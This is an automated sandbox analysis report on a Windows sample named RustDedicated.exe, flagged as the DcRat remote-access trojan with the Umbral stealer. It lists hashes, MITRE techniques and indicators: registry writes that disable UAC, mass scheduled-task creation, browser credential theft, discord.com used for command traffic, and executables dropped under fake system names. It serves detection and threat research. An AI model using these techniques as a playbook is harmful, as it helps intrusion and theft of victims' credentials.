dcrat | 1aed0b69955713ca30ddcbd0b36ea83aebc10494fc6eafd64175c1a43d1c64c6

Analysis

max time kernel
114s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
02-01-2025 18:40

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

RustDedicated.exe
Size

1.2MB
MD5

80802d3e9eb3978b02891a1846900e64
SHA1

c44fe9d1f8c5f6deabfdcfc1ab9e9d4cff4e5cd8
SHA256

1aed0b69955713ca30ddcbd0b36ea83aebc10494fc6eafd64175c1a43d1c64c6
SHA512

0fabd76a7f746dde9a9326e1a486a7b6f61f542f0f88a20c0092cc6d8385d6f4e768db2ba78317340c70094a5a6c8b319958b5f08efec91c2d258d23bd1026a2
SSDEEP

12288:sJ+ii04vDu/1Hp8CoFxH1sB5jVC6+0AsMLkL57dROq3r3hAj7haqgQY+9LGtYSQe:jin0ulOCoFkA6+0vpwAQhBwYSBYFBav

Score

10^/10

dcrat umbral discovery evasion execution infostealer rat spyware stealer trojan

Malware Config

Signatures

DcRat
DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.
rat infostealer dcrat
Dcrat family
dcrat

Detect Umbral payload 2 IoCs

resource	yara_rule
behavioral1/files/0x000a000000023b97-27.dat	family_umbral
behavioral1/memory/4900-42-0x000001679E2E0000-0x000001679E320000-memory.dmp	family_umbral

Process spawned unexpected child process 57 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5004	1820	schtasks.exe	92
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2600	1820	schtasks.exe	92
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	400	1820	schtasks.exe	92
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2660	1820	schtasks.exe	92
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4952	1820	schtasks.exe	92
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2876	1820	schtasks.exe	92
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4268	1820	schtasks.exe	92
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4624	1820	schtasks.exe	92
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2040	1820	schtasks.exe	92
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	628	1820	schtasks.exe	92
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1932	1820	schtasks.exe	92
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4536	1820	schtasks.exe	92
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4748	1820	schtasks.exe	92
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5044	1820	schtasks.exe	92
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3156	1820	schtasks.exe	92
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2872	1820	schtasks.exe	92
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2568	1820	schtasks.exe	92
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	556	1820	schtasks.exe	92
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	884	1820	schtasks.exe	92
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1708	1820	schtasks.exe	92
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4476	1820	schtasks.exe	92
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5116	1820	schtasks.exe	92
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2900	1820	schtasks.exe	92
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1268	1820	schtasks.exe	92
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1416	1820	schtasks.exe	92
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	756	1820	schtasks.exe	92
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	324	1820	schtasks.exe	92
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3028	1820	schtasks.exe	92
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1424	1820	schtasks.exe	92
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1864	1820	schtasks.exe	92
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3632	1820	schtasks.exe	92
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4092	1820	schtasks.exe	92
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2936	1820	schtasks.exe	92
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1912	1820	schtasks.exe	92
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2848	1820	schtasks.exe	92
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4264	1820	schtasks.exe	92
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2980	1820	schtasks.exe	92
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1296	1820	schtasks.exe	92
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3704	1820	schtasks.exe	92
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1780	1820	schtasks.exe	92
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4604	1820	schtasks.exe	92
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	404	1820	schtasks.exe	92
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4764	1820	schtasks.exe	92
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2332	1820	schtasks.exe	92
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1860	1820	schtasks.exe	92
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3184	1820	schtasks.exe	92
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4736	1820	schtasks.exe	92
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4768	1820	schtasks.exe	92
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4732	1820	schtasks.exe	92
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5096	1820	schtasks.exe	92
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4820	1820	schtasks.exe	92
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1904	1820	schtasks.exe	92
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1444	1820	schtasks.exe	92
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1392	1820	schtasks.exe	92
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3612	1820	schtasks.exe	92
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3816	1820	schtasks.exe	92
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4052	1820	schtasks.exe	92

UAC bypass 3 TTPs 3 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	surrogatehost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	surrogatehost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	surrogatehost.exe

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Umbral family
umbral

DCRat payload 3 IoCs

Detects payload of DCRat, commonly dropped by NSIS installers.

rat

resource	yara_rule
behavioral1/files/0x000a000000023b9c-58.dat	dcrat
behavioral1/files/0x000a000000023ba2-167.dat	dcrat
behavioral1/memory/2912-170-0x00000000004C0000-0x00000000005C0000-memory.dmp	dcrat

Command and Scripting Interpreter: PowerShell 1 TTPs 24 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4680	powershell.exe
4880	powershell.exe
652	powershell.exe
5068	powershell.exe
3076	powershell.exe
4748	powershell.exe
3096	powershell.exe
3076	powershell.exe
4624	powershell.exe
4332	powershell.exe
3128	powershell.exe
4408	powershell.exe
768	powershell.exe
628	powershell.exe
4528	powershell.exe
2396	powershell.exe
3944	powershell.exe
3180	powershell.exe
4112	powershell.exe
3828	powershell.exe
2544	powershell.exe
4672	powershell.exe
3368	powershell.exe
4128	powershell.exe

Drops file in Drivers directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Umbral.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Umbral.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Umbral.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Umbral.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Umbral.exe

Checks computer location settings 2 TTPs 64 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	fixermachine.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	fixermachine.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	ыв.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	fixermachine.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	RustDedicated.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	ыв.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	fix.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	fix.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	fix.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	RustDedicated.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	fix.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	fixermachine.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	ыв.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	RustDedicated.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	RustDedicated.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	ыв.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	fixermachine.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	fixermachine.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	RustDedicated.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	ыв.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	ыв.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	ыв.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	fix.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	ыв.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	RustDedicated.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	RustDedicated.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	fixermachine.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	fix.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	fix.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	fixermachine.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	fixermachine.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	fixermachine.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	fix.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	ыв.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	fix.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	fix.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	ыв.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	RustDedicated.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	RustDedicated.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	RustDedicated.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	RustDedicated.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	fix.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	ыв.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	ыв.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	fixermachine.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	fix.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	fix.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	fix.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	fixermachine.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	fix.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	ыв.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	fixermachine.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	fixermachine.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	fixermachine.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	fixermachine.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	fix.exe

Executes dropped EXE 64 IoCs

pid	Process
1472	fixermachine.exe
2140	fixermachine.exe
4900	Umbral.exe
4480	fix.exe
2208	Umbral.exe
640	fixermachine.exe
884	fix.exe
4784	ыв.exe
728	fixermachine.exe
740	ыв.exe
60	Umbral.exe
3356	fix.exe
3948	fixermachine.exe
2912	surrogatehost.exe
4244	Umbral.exe
3716	fix.exe
3668	ыв.exe
2392	surrogatehost.exe
4368	wscript.exe
944	fixermachine.exe
4988	Umbral.exe
736	fix.exe
2456	ыв.exe
1416	surrogatehost.exe
4928	fixermachine.exe
3828	ыв.exe
792	Umbral.exe
4292	fix.exe
1988	surrogatehost.exe
4672	fixermachine.exe
1384	Umbral.exe
1924	fix.exe
3672	ыв.exe
2292	surrogatehost.exe
1740	fixermachine.exe
4536	Umbral.exe
4840	fix.exe
3200	ыв.exe
208	surrogatehost.exe
2548	fixermachine.exe
4244	ыв.exe
2876	Umbral.exe
1472	fix.exe
396	surrogatehost.exe
4996	fixermachine.exe
3868	Umbral.exe
1960	fix.exe
4208	ыв.exe
1632	surrogatehost.exe
4920	fixermachine.exe
1464	Umbral.exe
4124	fix.exe
2476	ыв.exe
736	surrogatehost.exe
4648	fixermachine.exe
3108	ыв.exe
3156	Umbral.exe
2100	fix.exe
1072	surrogatehost.exe
3932	fixermachine.exe
2444	Umbral.exe
2548	fix.exe
4804	ыв.exe
208	surrogatehost.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Checks whether UAC is enabled 1 TTPs 2 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	surrogatehost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	surrogatehost.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 12 IoCs

Web Service

T1102

flow	ioc
70	discord.com
91	discord.com
24	discord.com
38	discord.com
52	discord.com
53	discord.com
81	discord.com
90	discord.com
23	discord.com
39	discord.com
67	discord.com
80	discord.com

Looks up external IP address via web service 6 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
87	ip-api.com
15	ip-api.com
34	ip-api.com
43	ip-api.com
64	ip-api.com
77	ip-api.com

Drops file in Program Files directory 15 IoCs

description	ioc	Process
File created	C:\Program Files\Microsoft Office\Updates\Download\wscript.exe	surrogatehost.exe
File created	C:\Program Files (x86)\Google\Update\Offline\unsecapp.exe	surrogatehost.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Setup Files\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\66fc9ff0ee96c2	surrogatehost.exe
File created	C:\Program Files (x86)\Windows Sidebar\Shared Gadgets\e978f868350d50	surrogatehost.exe
File created	C:\Program Files (x86)\Mozilla Maintenance Service\logs\taskhostw.exe	surrogatehost.exe
File created	C:\Program Files (x86)\Google\Update\Offline\29c1c3cc0f7685	surrogatehost.exe
File created	C:\Program Files\ModifiableWindowsApps\RuntimeBroker.exe	surrogatehost.exe
File created	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\Umbral.exe	surrogatehost.exe
File created	C:\Program Files\Microsoft Office\Updates\Download\817c8c8ec737a7	surrogatehost.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Setup Files\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\sihost.exe	surrogatehost.exe
File created	C:\Program Files (x86)\Mozilla Maintenance Service\logs\ea9f0e6c9e2dcd	surrogatehost.exe
File created	C:\Program Files\Windows Sidebar\Gadgets\spoolsv.exe	surrogatehost.exe
File created	C:\Program Files (x86)\Windows Sidebar\Shared Gadgets\powershell.exe	surrogatehost.exe
File created	C:\Program Files\Windows Sidebar\Gadgets\f3b6ecef712a24	surrogatehost.exe
File created	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\6feec19d54a440	surrogatehost.exe

Drops file in Windows directory 9 IoCs

description	ioc	Process
File created	C:\Windows\Setup\c82b8037eab33d	surrogatehost.exe
File created	C:\Windows\de-DE\dllhost.exe	surrogatehost.exe
File created	C:\Windows\Sun\Java\Deployment\dllhost.exe	surrogatehost.exe
File created	C:\Windows\Sun\Java\Deployment\5940a34987c991	surrogatehost.exe
File created	C:\Windows\SystemApps\Microsoft.Windows.CapturePicker_cw5n1h2txyewy\microsoft.system.package.metadata\Autogen\9e8d7a4ca61bd9	surrogatehost.exe
File created	C:\Windows\Setup\WaaSMedicAgent.exe	surrogatehost.exe
File created	C:\Windows\de-DE\5940a34987c991	surrogatehost.exe
File created	C:\Windows\SystemApps\Microsoft.Windows.CapturePicker_cw5n1h2txyewy\microsoft.system.package.metadata\Autogen\RuntimeBroker.exe	surrogatehost.exe
File opened for modification	C:\Windows\SystemApps\Microsoft.Windows.CapturePicker_cw5n1h2txyewy\microsoft.system.package.metadata\Autogen\RuntimeBroker.exe	surrogatehost.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ыв.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ыв.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ыв.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ыв.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ыв.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ыв.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ыв.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ыв.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ыв.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ыв.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ыв.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ыв.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ыв.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ыв.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ыв.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ыв.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ыв.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ыв.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ыв.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ыв.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ыв.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ыв.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ыв.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ыв.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ыв.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ыв.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ыв.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ыв.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ыв.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
